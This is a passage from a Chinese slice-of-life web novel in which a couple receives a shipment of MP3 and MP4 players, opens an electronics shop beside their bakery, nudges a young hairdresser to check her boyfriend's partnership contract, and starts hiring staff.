林丽丽又听赵如月说:“以后你跟你对象结婚,你就是老板娘,老板娘是不是也得管人?你不提前学起来,以后怎么管?” 孙佳佳猛点头,她就是这么想的,所以才主动说要来店里干活。 林丽丽本来还有点犹豫,一听到这话,也恍然大悟,回去后还真跟自己对象说自己想管发廊的事。 结果如何赵如月暂时还不知道,也顾不上去问后续。 因为跟这两个姑娘聊完没过两天,赵如月就接到了范小蓉的电话:“姐,我带着货快到云山县了,你能找个车来接我吗?” “你竟然自己跟着来了?不是说货随着火车运来吗?”赵如月很震惊。 她还以为范小蓉这辈子都不会回云山县了。 范小蓉笑着说:“当销售员真的非常锻炼人,我现在已经不怕遇上老家的那些人了,他们现在在我眼里就是一群纸老虎!” 第112章 赵如月对范小蓉的变化感到十分惊喜和高兴。 她问了范小蓉大概到达的时间,又问了大概需要多大的车子后。 挂了电话就给以往给她家运货的司机师傅打电话。 刚好那师傅也有空,赵如月就让师傅不用来接自己,直接去火车站,她自己坐别的车去,要不再来县城接她就比较耽误时间。 赵如月把司机师傅的车牌号、电话号码和大概长相身高这些信息,通过短信发给范小蓉。 想了想又但心自己从这边过去花费的时间太久,就给还在县城卖面包的宁绍明打电话,让他如果能抽得出时间的话,就去一趟火车站接人和货。 宁绍明看了看店里剩下的面包,数量也就十来个,干脆趁着这一波最后一个客人离开,还没新客人来,直接关了店面。 用袋子把剩下的十来个面包分别装成两袋,到时候可以给司机师傅和范小蓉各一袋。 他们这里暂时还不能住人,要不还能趁着纪慧萱暂时没离职,让范小蓉过来住几天那个屋子。 现在只能给范小蓉找个酒店住了。 宁绍明看时间还早,就提前帮忙在县城靠近市政部门和派出所的地方,找了个酒店订好房间,然后才往火车站赶。 赵如月在镇上没遇到郑秀,也不想坐那些满车连香氛都盖不住烟味的司机的车。 只好坐公交车去县城,她到的时候,范小蓉其实也刚到没多久,正在跟司机还有宁绍一起,把货往车上搬。 MP3和MP4本身的体积都不大,一千台堆在一起也许一两个纸箱子都能装完。 但是即使是有小瑕疵的货,也都是一手货,有正常的包装盒。 每个设备都配备有耳机和充电器,还有使用说明书、保修卡之类的东西,那些东西装在包装盒里,占的地方就比较大了。 不过抬起来也不重,赵如月走过去,跟范小蓉打了个招呼,就也开始帮忙搬。 搬完之后,司机师傅问道:“这些东西是运到镇上你们家去,还是运到你们在县城的店面?” 县城的店面平时只有几个小时是有人在的,晚上没人在,可能不够安全。 赵如月想运到镇上去,但她还得跟范小蓉叙叙旧,肯定不能就这么走了。 只能问宁绍明:“今天的面包卖完了吗?要不你跟司机一起回镇上?” 宁绍明说:“好,你给我打电话的时候,面包都快卖完了,不过我给司机师傅和小范留了一些,刚刚来的时候忙着搬货,就没来得及说,放在车上的驾驶室里了。” 他看向司机:“兄弟,你选一袋,另一袋拿下来给我们这妹子就行。” 然后对范小蓉说:“小范也尝尝我的手艺。” 在工作上有这样的意外之喜,还挺让人高兴的。 司机乐呵呵地上车,装面包的都是透明的袋子,他看每一袋都差不多,就随便拿了一袋递过去给范小蓉。 范小蓉没拒绝这个好意,接过司机从车上递出来的面包笑道:“谢谢姐夫,我经常听如月姐说过你做的东西特别好吃,早就想尝一尝了。” 有人喜欢自己的手艺宁绍明也很开心:“我们在镇上的铺面也有厨房,明天我带两个孩子一起来,做顿好吃的给你接风。” 范小蓉玩笑道:“那我明天可留着肚子等着吃好吃的了!” 宁绍明已经把酒店的房卡交给了赵如月,看着他上车跟司机离开后,赵如月招手来了一辆三轮车,带着范小蓉去酒店。 范小蓉看着四周的景色,有些感慨,倒不是觉得县城变化大,其实县城变化大不大她也不知道。 因为她以前也没什么机会来县城玩,连第一次出门打工都是直接从镇上,跟在带她出去的老乡身后,去到有长途客车经过的服务区,在服务区上的车去鹏城。 根本不知道县城以前是什么样子的,现在看着难免会把县城跟鹏城还有羊城比较一番。 感觉大城市五光十色、光鲜亮丽,但是生活节奏太快,人们压力很大。 小县城看起来灰扑扑的,仿佛还是九十年代的样子,不过路上的人不管是走路还是骑车,都是不紧不慢的。 马路上车子也不太多,倒是不会动不动就堵车,也没看到车漆样式一致的出租车,倒是拉客的三轮车、摩托车还有面包车有不少。 总之各有各的优缺点。 两人一路聊着天到了酒店,范小蓉在三轮车还吃了两个面包:“我在火车上没什么胃口,买的盒饭也是吃两口就吃不下了,倒是现在坐着三轮车吹吹风,感觉精神很多,也有胃口了。” 赵如月笑着说:“你要是喜欢,我让你姐夫每天都给你送一些。” “那可怎么好意思,”范小蓉倒也不是客气,只是她知道自己应下的话,赵如月真会让宁绍明天天送来,就说道,“等我要回羊城的时候,我再厚着脸皮让你们帮我多准备一些,我带回去吃,也能给我小姨他们尝尝。” “好,到时候我让他多做几种,他现在就喜欢捣鼓烤箱,连餐饮店的生意都不管了。” 范小蓉问道:“那你们的店交给谁?” 她可听说他们俩在县城和镇上都有店,现在宁绍明不管餐饮店的话,两个店只他大侄子一个人也顾不上吧? “打算招个厨子,要是招不到合适的厨子,就招个知根知底的学徒,慢慢教着上手。” 其实餐饮店要学的东西也不难,只要认真学,不是那种好好的东西,按照步骤去做都能做坏的厨房杀手,要不了一个月就能学会了,然后再练一段时间,练得熟了,直接自己出去开店都行。 像宁时春其实早就学会了,只是他一开始不敢挑大梁,宁绍明又是他亲叔,难免有点惯着侄子,不怎么逼他。 宁时春家里的债没了之后,他压力也不算大,所以才花了那么长的时间才能把镇上的店扛起来。 现在有了结婚这事跟胡萝卜一样,吊在眼前,还有彩礼的压力,宁时春不就支棱起来了。 坐了那么久的火车,范小蓉感觉自己浑身上下都是馊的,进了酒店就赶紧去洗漱。 赵如月趁着她洗漱的时候,下楼到酒店附近的小饭馆买了些吃的,粥和饭菜都买了些。 等范小蓉洗好澡出来,正好能吃上。 赵如月在这里陪她吃了点东西。 两人边吃边聊,虽然真正见面的时候不多,当初在鹏城时,满打满算也才见了两次面。 以后又只在信里和电话里沟通比较多,但真正见面聊起来,却没有丝毫陌生感,也没有冷场过。 吃完东西后,赵如月想着范小蓉在火车上肯定没法好好休息,就让她先休息:“明天去我们那里吃饭,到时候再好好聊。” 范小蓉也挺困,只是一直处于见到恩人的兴奋状态,送走赵如月后,才感觉眼睛都要睁不开了。 强撑着锁了房间的门爬到床上倒头就睡,这一觉竟然睡到了第二天早上。 赵如月回去后却没闲着。 她一到家,宁绍明就跟她说:“送货的司机听我说这批货价格不贵,想给自己孩子买一台MP3,我就按照你之前跟我说过的零售价,打了个八折,卖了一部给他。 也跟他说过这批货有小瑕疵,所以才卖得那么便宜,他说不介意瑕疵,检查过后确认只是屏幕有一点划痕,功能没问题就要了,货款直接在运费里扣,本来他还得补十块多,我没收。” “这样挺好的,第一天就卖出去一部,也算是开门红了!”赵如月觉得他做得不错。 他们跟那个司机合作没出过问题,也算老熟人了,多给这点优惠也亏不了自己,还是有不少赚头的。 赵如月拿出账本记了一笔,今天卖出去一台,跟运费相抵扣。 这一批货一共一千五百台,其中MP3一千台,MP4五百台。 “我去仓库检查一下那些机子,选出一些瑕疵不太明显的出来,趁着我还不需要上课,明天就能带一些到县城去卖了。” 赵如月走进专门腾出来装这些货的一个小仓库。 看着仓库里的货,这些货全都堆在一起时,看着还挺壮观。 宁绍明也跟着进来了,本来想帮她做点自己能做的事,比如等她检查完哪个没问题,就帮忙把机子重新放回盒子里放好。 但进去后,赵如月看着这些货却半天没反应。 “怎么了?不是说要检查一下?”宁绍明问。 赵如月说道:“其实我就是感觉心里有点没底。” 宁绍明不懂她在担心什么:“为什么这么想?” “主要是不知道县城到底能不能吃下这么多的货。”光是说的时候,她对货量其实没多大概念,不觉得特别多。 但是东西真正摆在眼前,看起来就很多了。 “别担心,这些货的进货价比较低,哪怕只能卖出去一半,也不会亏本。” “那倒也是,一半的量县城肯定是能吃得下的。”这么想着赵如月心里就感觉稳多了。 赵如月拿起一个装MP3的小盒子,为了避免正面的密封贴损坏,她正要从地面拆开盒子。 就听到儿子说:“才一千多台,在县城肯定能卖完。” “你怎么来了?” 宁时秋抱着一个风扇走进来:“仓库里热,我就给你们把风扇拿进来了,顺便跟你们说一声,等会儿我跟小夏要去纪老师家,她说有一些书要送给我们。” “纪老师要走了?” “她说还在走程序,也不知要走多久。”宁时秋指挥摆着一个小椅子跟在后面的妹妹,“把椅子放那里,应该刚好。” 椅子放好,他把笨重的铁制老式风扇放上去,想拿起插头去插电。 宁绍明忙抢先一步:“小孩子不能碰插头。” “哦。”宁时秋想着他老早就碰过了,但既然爸爸这么说,那就当没碰过吧。 他继续说刚才的话题:“县里别的镇我不知道,但是不包括我们镇的学校在内,光是县城城区的小学生、初中生和高中生加起来就快一万人了,这还没算县城的中专学校,光是学生也许都能把那些货买完,更别提大人们也不是不喜欢这些。” “你上哪儿知道的这些?” 这次回答的是宁时夏:“是锯子哥说的,他这个学期从市里转学回县城上学了,他找学校的时候大概了解过,我们听了一耳朵,就记住了。” “锯子还真转学到县城了?”赵如月感觉有点可惜,县城的教育水平肯定是不如市里好的。 更何况那个孩子家里有钱,上的还是市里的好学校。 宁时夏又说:“锯子哥那个保姆不好,欺负他,还把他爸爸妈妈和亲戚朋友送的东西,偷偷搬回她自己家,不给锯子哥吃,以前他跟他爸爸妈妈说,他们还不信,后来锯子哥自己攒钱买了个可以录像的相机,偷偷录下来给他们看,他们才信了,就把那个保姆赶走了。” 宁绍明道:“怪不得我这段时间总见他来店里买面包,还总问我餐饮店什么时候开,以后三顿都在我们家吃,他搬到县城上学,家里人又忙,照顾不到他,不重新给他请保姆照顾,或者托亲戚照顾他吗?” 宁绍明刚认识那个孩子的时候,对他印象就挺深,宁绍明觉得自己儿子已经挺早熟的了,成天跟个小大人一样。 那个孩子好像跟自己儿子差不多的年纪,但看起来竟然比他儿子还稳重一些。 宁时秋说:“锯子不愿意,他不想住亲戚家,也不让家里人请保姆,只请了一个做饭的阿姨每天来做一顿晚饭,早饭和中饭就在外面吃,还请了一个打扫卫生的阿姨,一周去一次打扫卫生。” 宁时夏问赵如月:“妈妈,锯子哥这样算留守儿童吗?” 赵如月想了想说:“应该也算吧。” 宁时夏:“好奇怪,我还以为家里穷,爸爸妈妈没办法才要离开家去挣钱,才要当留守儿童。” 赵如月不知道该怎么说,现在很多家庭的情况都挺复杂的。 但是家长有钱却都对孩子这么不上心,保不齐是双方感情都出现问题了。 别人家的事她不深究,但既然那个孩子是她家孩子的好朋友,那以后可以多关照些。 “小秋的生日快到了,到时候你们可以邀请他来家里玩,请他吃顿你们爸爸做的大餐。” 宁时秋的生日就在中秋节的前一天,距离现在也不远了。 两个孩子纷纷点头。 宁时夏还说:“锯子哥馋爸爸做的饭好久了。” 宁绍明看一眼赵如月,笑着问闺女:“你也跟人炫耀爸爸做的饭好吃啊?” “是呀!不对,这不是炫耀,这是跟人家说实话。”宁时夏表示自己是老实孩子,只会说实话。 赵如月想着提前把自己手头上的事情理顺,到时学校放三天假,也能腾出时间来带孩子去玩。 跟他们说了一会儿话,就要开始干活了,两个孩子也跑去找纪慧萱拿书去了。 宁绍明留在仓库帮忙,但他能帮忙的时间也不多。 之前他打定主意,要把在夜市街卖的东西换成面包后,已经差不多把手头上的玻璃小杯子做成钵仔糕,卖得差不多了。 清货的时候,用的是半卖半送的形式。 他也不降低价格,真是做了个活动,买钵仔糕送一个蛋挞或者一个菠萝包,有时候还有蜂蜜小面包。 顺便还送面包代金券,宣传自己家不久后,即将正式全天开业的面包店。 到时候有代金券的客人去店里面买面包,拿出代金券就可以抵扣相应的金额。 现在他夜市街摊位上的东西已经慢慢换成面包,主要是蛋挞、菠萝包、肉松面包和蜂蜜小面包。 本来宁绍明以为蛋挞会更受欢迎,没想到卖得最好的竟然是蜂蜜小面包,还有客人特地买回去走亲戚用,说是一份有好多个,看起来分量大,带着走亲戚不跌份。 之前还挺多人跟宁绍明订杯子蛋糕走亲戚用,但跟杯子蛋糕比起来,蜂蜜小面包更实惠,现在杯子蛋糕受欢迎的程度已经不如蜂蜜小面包了。 宁绍明这边生意有红火起来的势头,赵如月这边也不甘示弱。 请范小蓉吃过一顿饭后,又带着她在县城玩了一圈。 范小蓉第三天下午就带着赵如月和宁绍明给她准备的各种面包,又坐上了返回羊城的火车。 她这次算是出差,所以不能久留,还得抓紧时间回去上班,为了自己的小房子而努力。 送走范小蓉后,赵如月也整理好了一批货。 又简单地给店面做了个软装,其实也就是找人打印了些稍微有点科技感的画,让自家孩子帮忙简单装裱一下。 看着可能不如买的精致规整,但胜在有特色,挂在店里也不算突兀。 她还打印了一些店里东西价格的海报出来。 画挂在店里的墙上作为装饰,海报里面贴一张,外面墙上面向不同方向的地方都贴一张,让人家一走过就能看清楚。 再弄个小桌子和几张椅子。 桌子铺上好看的桌布,再摆上一瓶假花,椅子上同色系的一个坐垫和一个靠垫,看起来就挺有样子了。 开店的前几天,赵如月特地在门口放了个牌子。 上面写着,开业的日期,还有加大的几个字:MP3最低六十八块起、MP4最低两百块起,数量有限,先到先得。 稍微有点偷换概念的嫌疑,因为做活动的MP3和MP4都是她之前修好的二手货。 新的肯定卖不到这个价格。 但是低价就是非常有用且特别吸引人。 在县城和市里的MP3均不低于两百块、MP4不低于五百块的情况下。 所有想买的人,看到这个价格都走不动道,更别说外面贴着的海报,上面新机的价格也比别的地方低很多。 最低内存128MB的MP3,才卖一百一十八块钱,新华书店那边同样内存的MP3现在降价了,也还卖到两百八十八块钱! 哪个对MP3和MP4有需求的人,要是路过了这家店,不进来看看,晚上躺床上睡觉,睡到半夜,没准都要坐起来叹口气,直呼后悔。 尤其是这家店还真的不是骗人,有人路过后,想着来都来了,进去看看又不掉一块肉。 就这么进去一看,还真的有六十八块钱的MP3卖。 哪怕是二手的机子,人家店家敢承诺,以后二手机也可以按照新机保修卡上的要求给买家保修,这个机子就买得。 他们也不怕店家跑路,进来的时候那一排三个招牌:秋夏数码专营店、秋夏餐饮店、秋夏面包店。 那么大的三个招牌,只要没眼瞎的人都能看到。 很明显,这三家店都是一家人开的,这个跑路的概率肯定小。 尤其是那个秋夏面包店,现在已经在县城有点名气了,很多人提起来的时候,一说:就是那个只开半天的面包店。 县城本地人一听人家这么说,马上就知道是哪个店、位置又在哪里了。 赵如月第一天开张也是只放了一串鞭炮,她本来还想着,自家开业一点也不热闹,一开始可能没什么人,会比较清闲来着。 没想到放完鞭炮刚进店里坐下,椅子还没坐热呢。 孙佳佳的好朋友林丽丽带着一群头发五颜六色,发型各有各人特色的小年轻就到了。 “丽丽?好久不见!”赵如月站起来招呼他们,“店里的椅子少,我去隔壁给你们再搬几个过来。” 她才准备了六张椅子,三张围着小桌子摆,另外三张围着柜台摆放,方便给客人从柜台里拿货看。 这间店,有一个可以休息的小房间,外面的面积就比没留小房间的小一些。 这会儿一下直接来了十一二个人,不算大的店里瞬间显得拥挤起来。 让他们靠边坐下来会好一些。 隔壁餐饮店在宁绍明的面包店生意逐渐稳定,手头有了一些资金后,已经慢慢开始添置桌椅。 不过餐饮店还在筹备中,还没开业,那边的椅子倒是可以先搬过来用一下。 林丽丽却拦住了赵如月:“三婶,你别忙着去搬椅子,我们还有别的事,买完东西就走。” 她去镇上的店里找过几次孙佳佳之后,孙佳佳怎么称呼宁时春这边的亲戚,她也跟着一起了。 “你是佳佳的好朋友,看在她的面子上,我怎么也不能让你不喝一杯水就走啊,你们在这里坐着,我一会儿就过来。” 今天宁绍明和两个孩子也来了,不过都以为这边可能没那么快有生意,两个孩子都在那边给宁绍明帮忙。 赵如月过去后,招呼两个孩子跟自己一起搬椅子,她一手拿两张,一次拿四张,两个孩子一人拿一张,一次就把椅子准备齐全了。 宁时秋和宁时夏放下椅子后,跑出去再回来时,带了一个装满了花茶的水壶,还有一些一次性杯子,两个孩子挨个给林丽丽带来的人发杯子倒茶水喝。 这一通操作里表现出来的尊重,让林丽丽的自尊心得到了极大的满足,她感觉自己特别有面子,不枉今天带这么多人来捧场。 她带来的这些,可全都是真正有购买需求的人,林丽丽自己更是MP3和MP4都各买了一台。 等他们挑选好自己喜欢的样式和内存,付了钱准备离开的时候。 林丽丽特地落在后面,对赵如月说道:“三婶,今天我来,除了给你的新店捧场,也是想跟你道个谢。” 第113章 “道什么谢?”赵如月最近忙起来都把那事忘记了。 林丽丽看一眼那些朋友,确认他们都没注意这边,没人听得见。 她才小声说:“幸亏你上次提醒我,让我去跟我对象争取管发廊的事,要不我这回可真栽了!” 赵如月也跟着压低声音:“怎么了?有人想把你踢出发廊啊?” “那倒不是,我刚知道那个小亮是我对象初恋的亲戚!你说,这要是让他管,我成什么了?”林丽丽说起来还觉得很生气。 赵如月问:“这事你对象知道吗?” “这就是最让我生气的,他竟然知道!只有我一个人被蒙在鼓里,当初我还差点把……”林丽丽说到一半,想起这是宁时春的三婶,赶紧把这话打住。 可不能让她知道,当初自己不看好孙佳佳跟宁时春在一起,想把小亮介绍给孙佳佳的事。 “你当初差点怎么了?” “没什么没什么,都是不值得一提的小事,反正我以前是看错他了,保不齐他私下还给我对象初恋传消息呢,我知道这事后,就跟我对象闹了一场,现在那个发廊归我管了,他让小亮去别的地方再开一个。” 林丽丽觉得这一场斗争是自己赢了。 但是赵如月听完却觉得不是那么回事,但她没证据:“你对象为了手底下的人,竟然还特地重新开一个发廊,他对兄弟还挺好。” “他那人确实特别讲义气,要不也不能在咱们县城混得风生水起,三婶,你以后遇到什么事处理不了,只管告诉我,我让我对象帮忙” “好,那提前谢谢你了。”赵如月不觉得自己会遇上需要林丽丽对象帮忙的事。 她虽然不是县城人,也算是周边镇子的本地人,在县城认识的人,还有自家在县城发展的亲戚也不少。 也许自家的人脉,没有厉害到能帮人脱罪或者减刑的程度,但至少也能在自己不主动乱来的前提下,保证自己家的店能好好地开下去。 林丽丽继续说:“不过我对象也不是特地为了小亮重新开一间发廊,不然我还得闹,那间新开的发廊是他投一半的钱,小亮自己出剩下那一半的钱,算起来他还是更在乎我,以前那家店,我没花一分钱,直接就能管理了,这次是我赢了!” 赵如月听完这这话,心想这小姑娘恋爱脑好像有点严重。 不关心发廊的归属问题,竟然只关心那个男的是不是更在乎自己,还觉得这次是跟情敌的较劲,自己赢了…… 到底赢了什么?赢得了给那男的打工的机会吗? 赵如月本来不想管闲事,但是这姑娘对人又挺赤诚,也挺仗义的。 自己当初只是稍微提醒了一下,她今天就带这么多人来帮衬自己店里的生意。 有点别人对她一分好,她就要翻倍还三分的意思。 只是可能林丽丽太年轻了,很多事情都不懂,也没人教,早早就不读书了,出来自己跌跌撞撞地瞎闯,某些方面真的傻乎乎的,自己吃亏也觉得是在享福。 人家跟她对象一人出一半的钱合伙开店,人家就是合伙人,拥有那家店一半所有权和收益。 她不出钱,不算合伙人,那依然只是在帮她对象打工。 以林丽丽的美发技术和社交能力,那家旧店说是她撑起来的也不过分。 只是她没有所有权,万一以后感情出问题,很有可能是为别人做了嫁衣裳。 看在今天林丽丽带那么多人来捧场的份上。 赵如月打算再帮她一次,拐着弯提醒一下。 “你对象的新发廊开在哪里来着?旧店好像离我这边有点远,要是新店离得近的话,看在你的面子上,我以后可以多带家里人去捧捧场。” 林丽丽一听她说是看在自己的面子上才去捧场的,高兴极了。 “就在这附近,不过要往右拐,再穿过一条马路,再往前再走个两三分钟,本来是想租你这里的房子,两间打通开网吧,一间开发廊刚好,可惜你们家自己竟然要开三家店,附近又没有更合适的地方了,所以只能去那边。” 当初她对象就是看这几间房子里面装修得很好,才让她去帮忙打听能不能转租的。 “本来看你们剩下的这间也不错,也想着租那一间,可小亮又说把发廊开在网吧旁边,以后能蹭蹭网吧的生意,我对象也能时不时去发廊里看看,给发廊撑撑场面,就一起在另一个地方租房子了。” 因为纪慧萱的离职手续还没办好,这间房子借给她开照相馆的事,赵如月和宁绍明都没往外说。 别人还以为那间房他们没想好做什么才一直空放着。 林丽丽的对象没选这里,倒是让他们省去了找借口的功夫。 “那新发廊确实比旧的那家离我们这里近,不过丽丽你可得保证那确实有你对象的份才行,要不我们宁愿走远一点,去你管的那家发廊,也不乐意帮衬别人的。” 林丽丽听了笑得更开心:“三婶你放心,那肯定有我对象的份。” “你这么笃定,看来你是看过他们签的合同了,那就好。”其实赵如月觉得林丽丽应该没看过。 “什么合同?” 果然…… “他们合伙做生意,肯定要签合同写清楚谁占多少的,当然也有的人是不签合同的,全靠感情、兄弟义气或者个人的良心,可那样太容易出问题了,万一其中一个反悔,直接把另一个踢出去,被踢出去的人哭都没地方哭去。” 林丽丽顺着赵如月的话去想,顿时有点着急。 然而她着急却不是顺势想到自己的处境,为自己着急,而是为自己的对象担心。 “不行,我得回去问问我对象有没有跟小亮签合同,开那家新发廊,用的可是小亮的名义,**那些也是用小亮的名字。” 小亮是她对象初恋的亲戚,她又把小亮从旧店赶走了,旧店生意那么好,新店还不知道怎么样。 万一新店生意不如旧店,小亮对她怀恨在心,又看她对象对她好,想报复她却拿她没办法,使阴招把她对象踢出去怎么办? 虽说她觉得以自己对象在县城的江湖地位来看,小亮可能不敢这么做,可她对象在县城不是一家独大,也不是没有对头。 如果转投她对象的对头那边,借那边的势呢? 林丽丽乱七八糟地想了一大堆,越想越觉得这个合同一定要签,哪怕现在小亮还没有什么问题,也不能不防着点。 “三婶,我先回去了,有空再来找你玩。” 赵如月看林丽丽的表情,以为她这样应该是听懂了自己的暗示,笑着点头说:“好,下次你来我请你吃面包。” 林丽丽挥挥手,急匆匆地走了。 这一波人离开后,赵如月又把椅子搬回餐饮店。 她这个小店也又陆陆续续来了一些生意,但也不是特别忙。 赵如月一个人就能应付得过来。 到了午饭时间,宁绍明在餐饮店那边简单煮了点东西,煮好之后,派女儿过来叫她吃饭。 赵如月店里刚好没人,把店门一关,挂了一个‘老板在隔壁吃饭,有事喊一声’的牌子,就跟着宁时夏一起去餐饮店吃午饭。 之前请范小蓉吃饭,就是在餐饮店那边招待的,现在那边的厨房燃气、锅具、调料、碗筷这些全都备齐了。 房子也晾得差不多了。 其实他们翻修这几间房子,用的料也没什么甲醛,毕竟家具少,而且那些家具要么就是铁制,要么就是实木,等墙壁和地板的瓷砖干得差不多就能用了。 很多店也都是这样的,装修好立马投入使用,毕竟迟一天使用就少赚一天的钱,还要白交一天的房租。 只是他们的铺面是自己家买的,又想着家里孩子时不时也要跟着他们来,所以才特地晾了一段时间。 而且餐饮店那边,还没找到合适的人。 他们吃午饭的时候,已经是下午两点,宁绍明一点多卖完今天的面包,然后才去做的午饭。 吃完午饭,宁绍明就要回镇上,在家休息大概一两个小时后,就继续做晚上要卖的东西。 两个孩子跟着他一起回去了,赵如月想着自己今天第一天开店,打算白天就在这里守着,晚饭时间再回去。 早上起得太快,中午又没能睡午觉,两个孩子在车上的时候困得不行,但是路太颠簸,座椅也不够舒服,他们谁也睡不着。 本来还想着到家就马上去房间睡觉,但现在天气还是很热,他们回到家一身汗,不想就这么爬到床上去,就跑去洗澡。 结果洗完澡整个人又精神了,又跑出去玩了。 宁绍明也洗了个澡,暂时睡不着,就去前面店里看看有什么能干的活。 到了前面店里,也没什么事需要他帮忙,只有几个老熟客在边看电视边吃东西。 这几个老熟客经常在这个时间才来吃东西,就是等着下午宁时春把电视机推到店里,他们可以边看电视边吃。 而且这个时间点,电影频道还会播电影,他们吃完东西,再再店里坐一会儿,刚好能看完一部电影。 然后看完电影,也快到晚饭时间,刚好又能回家做饭了,把时间安排得明明白白。 “三叔,你回来了,小秋和小夏没跟着一起回来?”宁时春做完最后一份什锦凉拌,也没别的餐要做了,就直接帮客人把东西端出来,看到宁绍明问道,“你吃过东西没?我给你做点东西吃? “不用忙,我在县城吃过了才回来的,小秋和小夏本来说要睡午觉,洗完澡又精神了,在家待不住,估计跑去他们外婆家找表哥表姐玩了。” “那行。”宁时春把什锦凉拌放到客人桌上,也不进厨房了。 走到宁绍明坐的这个桌子边上坐下,在外面吹吹风扇看看电视,休息一会儿,闲聊的时候,他随口问起县城的店:“县城的店还没收拾好?” “收拾好了,招到人就能开。”宁绍明觉得宁时春这段时间也历练出来了。 而孙佳佳跟他性格算是互补,能解决不少招待客人临时遇到的问题,宁绍明就问宁时春:“你要不要去县城那边的店?要是想去县城,我就让新招的人在镇上干。” 宁时春摆手:“我还是先在镇上吧。”去县城来回麻烦不说,他老丈人那边没准还可能会去作妖。 在镇上这家店,铺面是他三叔的房子,他三叔一家就住在后面,店离他自己家也不远,镇上熟人和亲戚多,他妈时不时也来看看,顺便送一点她自己种的菜。 他未来老丈人才不敢来捣乱,只是他那小舅子,偶尔会来蹭一点东西吃,问题不大。 “那行吧,我就不在镇上贴招工启事了。”县城的店铺,最好还是招个在县城有地方住的厨子和服务员。 他们俩正说这话,有个熟客凑了过来:“宁老三,你这可不地道啊!” 宁绍明转头一看,知道这熟客开玩笑,也玩笑着说:“我怎么不地道了?哪次你来吃东西,我和我大侄子给你的肉不多?” 这熟客说道:“不是肉的事,我们从穿开裆裤的时候就认识,你有好事竟然不想着我。” “怎么的,镇水管所装不下你这尊大佛了,想来我这当厨子?” “不是我,是我哥的小儿子。”熟客说到这个就忍不住挠头,“大家都知根知底的,我家的情况你清楚,我就不拐弯抹角了。 我哥工作的那个厂子你也知道,早就不景气了,保不齐什么时候就要下岗,就算能撑下去,现在也不兴继承岗位那一套。 他大儿子还好,会读书,以后能自己挣个前程,小儿子读书不成,找过几份工作都干不长,以后还不知道能干什么,我哥愁得头发都要白了,这不,就想让他学一门手艺。” 宁绍明:“好你个丁小五,这是盯上我了?” 那老熟客就笑了:“可不,盯上你很久了,早听说你要去县城开店,一直没动静,幸亏我今天来了,要不还不知道你小子竟然想悄悄在县城招人!” “什么叫悄悄,我光明正大,就是想着在县城招,也许能招到个有经验的。” “有经验的要的工资肯定不低,你招几个学徒多好?第一年包三餐不给工资都行!”这就是在变相跟宁绍明说,要是招自己侄子,愿意教自己侄子手艺的话。 第一年可以不要工资,只要包三餐别让他侄子饿死就行了。 宁绍明笑道:“我是这么吝啬的人吗?” “我当然知道你不是,怎么样?你看我侄子成吗?” 这个宁绍明叫做丁小五的熟客,大名其实叫丁珉,跟宁绍明同龄,丁小五只是他的外号。 初中的时候,他们俩成绩都好,倒是走得挺近的。 可惜两个人家庭情况不一样,一个继续读书,毕业后分配到镇上的事业单位工作。 另一个初中读完后就没能继续读了,两个人走了不同的路,共同话题变少,朋友之间自然慢慢有些疏远了。 后来宁绍明回来开店,丁珉经常来吃东西,交集多了又有小时候的交情,关系才又好起来,来往也比以前多了 丁珉他是他们家老来子,他哥年纪比他大很多,他哥这个小儿子,其实也就比丁珉和宁绍明小几岁。 小时候也经常跟在他们屁股后面跑,人品没问题,就是以前比较年轻,定性不足,所以家里介绍的活才干不久。 现在也二十多岁了,听说也快要结婚了,总不能还那样东一榔头西一棒子地混着。 “也是那小子自己主动托我来问,看样子确实是想找个工作好好干了,要不就凭他以前干那些工作,干一段时间就不想干的德性,我肯定不好意思说这些。” 说到正事,宁绍明也不开玩笑了:“我县城的面包店和餐饮店都招人,你想让他学什么?都学也行,就是会比较辛苦。” “我哥嫂也不奢望他能有多大出息,以后能跟你们家小春一样,开个小店,维持生计,养得起老婆孩子就行。” “那就让他来镇上的店里,跟着小春干一段时间,看看能不能坚持下去,餐饮店的活认真学的话,用不了多长时间,我有空也会回来教,等他学会了,就让他去县城的店里,要是不合适我再安排别的。” “餐饮店的活容易学,那面包店呢?”另一个人听到他们说话,也凑过来问,“招不招女孩子?” 猝不及防有个人凑过来,把宁绍明和丁珉吓一跳,宁绍明转头看过去,发现店里另外那几个客人都目光炯炯地盯着他看。 见他看过来,那几个客人也不偷听了,干脆直接过来问。 镇上不少人早就盯着宁绍明的店和他的手艺,就等着他招人呢。 现在他们正好在这里,比别人快一步得到消息,现在不抓住机会问,过了这个村,可没这个店了。 宁绍明会答应丁珉,是因为以前跟他侄子一起玩过,对他还算比较了解。 可其他人家的孩子,虽然他也认识,但有些比他年纪小太多,这些孩子大多跟宁时春同龄。 他对他们只限于知道是谁家的孩子,大概多大了,长什么样子。 没相处过,也很少打交道,更不知道那些孩子的性格,可不敢直接答应下来。 只能拿出纸笔,先登记一下,过几天再找个时间面试,不过丁珉的侄子宁绍明是直接招了的,不用面试,毕竟已经答应了人家。 宁绍明也不管别人会不会不满,反正他这又不是什么公家单位或者大公司,还得讲究公平公正公开,只是自家的一个小店,用不着那么严格。 丁珉跟他关系好,托他帮忙,他当然要稍微关照一下朋友家跟自己关系也不错的小辈。 晚上赵如月回来,宁绍明就拿出一张纸让她看,把今天的事跟她说了之后感慨道:“现在这么多孩子找不到工作吗?” 赵如月倒是没觉得意外:“我们这边还算好的,本来也没多少企业,所以下岗工人也不多,那些厂子多的地方,很多厂效益不好倒闭了,一波一波的下岗工人没着落,找工作竞争比我们这边大多了。” 她拿过宁绍明手上那张纸,看到上面标了男女,有不少女孩子:“夜校班的老师通知我,半个月后开始上课,我那个店,到时候也要招个人帮忙,你什么时候面试,我跟你一起,也顺便给我那个店招个店员,招个女孩子就行。” “好,到时候你自己看谁合适,”宁绍明掰着手指算,“餐饮店要一个洗碗的,一个服务员兼收银,一个厨子,面包店要暂时先招一个营业员兼收银员,面包学徒招两个,这些应该暂时够了,要是生意好,忙不过来再说,不过洗碗的,得找个年纪大一点的人,其他的倒是都能招年轻人。” “没想到我们现在也能招人帮忙干活了。”赵如月又有了那种刚开店时,还有刚去夜校班上课时,出现的那种不真实感,“你掐我一把,让我看看是不是在做梦。” 宁绍明往旁边挪了挪说:“我不掐,让闺女看到又说我在欺负你。” 赵如月:“…………闺女又不在。”算了,她自己掐。 然后还真在大腿上用力掐了一把,很疼,但是很真实。 起初她以为他们夫妻俩能坚持在镇上,把这家小店好好地开下去就不错了。 别看只是一家小镇上的小店,据她所知,很多在镇上一直踏踏实实开夫妻店的人,后来也能给自己孩子在县城或者市里买房子,车子也买的好车。 由此可见,哪怕只是一家镇上的小店,好好经营也能有不少收获。 